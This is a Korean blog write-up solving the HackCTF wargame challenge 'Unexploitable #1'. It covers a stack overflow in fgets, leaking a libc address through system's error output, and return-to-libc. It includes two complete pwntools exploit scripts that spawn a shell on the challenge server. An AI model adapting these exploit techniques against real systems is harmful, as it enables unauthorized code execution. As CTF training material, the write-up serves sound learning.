tmxklab

[HackCTF/Pwnable] Unexploitable #1 본문

War Game/HackCTF

[HackCTF/Pwnable] Unexploitable #1

tmxk4221 2020. 8. 6. 10:42

1. 문제

nc ctf.j0n9hyun.xyz 3023

 

1) mitigation 확인

 

2) 문제 확인

  • system@plt는 주어졌다고 출력하면서 입력 값을 받을 수 있다.

 

3) 코드 흐름 확인

3-1) main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+0h] [rbp-10h]

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  fwrite("Easy RTL ha? You even have system@plt!\n", 1uLL, 0x27uLL, stdout);
  fflush(stdin);
  fgets(&s, 64, stdin);
  return 0;
}
  • s변수[rbp-0x10]에 64bytes까지 입력받을 수 있음 → bof발생

 

3-2) gift()

int gift()
{
  return system("use this system gadget :D");
}

 

 


2. 접근방법

bof가 발생함에 따라 ret값을 덮을 수 있으므로 RTL을 수행하기로 한다.

system@plt와 @got는 주어져 있어 바로 사용할 수 있으며 이제, "/bin/sh"문자열만 찾으면 RTL을 수행할 수 있다.

 

  • "/bin/sh" 문자열은 libc에 존재함
  • 따라서, libc base주소를 구해야 하며 base주소를 구하기 위해 leak해야한다.

1) system함수를 통해 주소 leak하는 방법

payload = [ dummy(0x18) ] + [ pop ret ] + [ fgets@got ] + [ system ]

  • system함수의 인자 값에 fgets@got주소 값을 넣고 execve를 실행한 상태이다.
  • 실제 fgets()의 주소 값 : 0x7f28fb28cae0 -> 근데 로컬환경에서 한거라 이 값은 안 쓸거임

  • error 메시지에 fgets()의 실제 주소 값이 leak되는 것을 볼 수 있다.
  • 이를 통해 libc base address를 구할 수 있고 "/bin/sh"주소 값을 얻을 수 있을 것이다.

2) system("sh")

일반적으로 system함수에 "/bin/sh"문자열의 주소 값을 찾아 인자로 넘겨줘서 쉘을 따낼 수 있었는데 "sh"문자열의 주소 값을 인자로 넘겨줘도 쉘을 따낼 수 있다. ㄷㄷㄷ;;;

 


3. 풀이

 

1) system함수를 통해 leak한 다음에 RTL 수행

 

1-1) fgets() leak

  • fgets : 0x7f08 195f 1ad0
  • 일단 fgets 실제 주소 값이 leak되는 것을 확인하였다. 

libc가 주어지지 않았으므로 libc database를 이용하자

  • system offset : 0x45390
  • binsh offset : 0x18cd57

 

1-2) 익스 코드

from pwn import *

#context.log_level="debug"

#p = process("./Unexploitable_1") 
p = remote("ctf.j0n9hyun.xyz", 3023)
#gdb.attach(p)
e = ELF("./Unexploitable_1")

system_addr = e.symbols['system']
main_addr = e.symbols['main']
binsh_addr = 0x6003bf
pr_addr = 0x4007d3
fgets_got = e.got['fgets']
fgets_offset = 0x6dad0
system_offset = 0x45390
binsh_offset = 0x18cd57

# 1. leak fgets()
payload = "A"*0x18
payload += p64(pr_addr)
payload += p64(fgets_got)
payload += p64(system_addr)
payload += p64(main_addr)

p.sendlineafter("\n", payload)
log.info("payload len : "+str(len(payload)))

p.recvuntil("1: ")
fgets_addr = u64(p.recv(6).ljust(8, "\x00"))
libc_base = fgets_addr - fgets_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset

log.info("libs_addr : "+hex(libc_base))
log.info("fgets_addr : "+hex(fgets_addr))
log.info("system_addr : "+hex(system_addr))
log.info("binsh_addr : "+hex(binsh_addr))

# 2. rtl
payload = "A"*0x18
payload += p64(pr_addr)
payload += p64(binsh_addr)
payload += p64(system_addr)

p.sendlineafter("\n", payload)

p.interactive()

 

 

2) system("sh")

2-1) "sh"문자열 찾기

  • PIE가 안걸려있으므로 코드 영역에 있는 0x4003bf를 사용하자
  • 참고로 0x6003bf도 가능

2-2) gadget 찾기(pop ret)

$ROPgadget —binary ./Unexploitable_1|grep ret

  • 3개 정도 보인다.
  • 근데 3개중에 되는게 0x4007d3밖에 없음

2-3) 익스코드

from pwn import *

#context.log_level="debug"

#p = process("./Unexploitable_1") 
p = remote("ctf.j0n9hyun.xyz", 3023)
#gdb.attach(p)
e = ELF("./Unexploitable_1")

system_addr = e.symbols['system']
binsh_addr = 0x4003bf
#binsh_addr = 0x6003bf
pr_addr = 0x4007d3

payload = "A"*0x18
payload += p64(pr_addr)
payload += p64(binsh_addr)
payload += p64(system_addr)

log.info("payload len : "+str(len(payload)))

p.sendlineafter("\n", payload)

p.interactive()

 

3) 실행결과

 


4. 몰랐던 개념

1) system함수를 통해 함수 leak하는 방법

system함수가 주어졌다면 굳이 printf사용안하고 system함수의 인자에 특정 함수의 got를 넣어서 사용하면 에러 내용에 특정 함수의 주소 값을 출력하여 leak이 가능함

→ ex) system(libc.func@got)

 

2) system("sh")

system함수가 주어졌고 굳이 "/bin/sh"문자열의 주소를 leak하여 사용할 필요없이 "sh"문자열로도 쉘을 따낼 수 있음

'War Game > HackCTF' 카테고리의 다른 글

[HackCTF/Pwnable] rtc  (0) 2020.08.06
[HackCTF/Pwnable] sysrop  (0) 2020.08.06
[HackCTF/Pwnable] ROP  (0) 2020.07.20
[HackCTF/Pwnable] UAF  (0) 2020.07.20
[HackCTF/Pwnable] you_are_silver  (0) 2020.06.30
Comments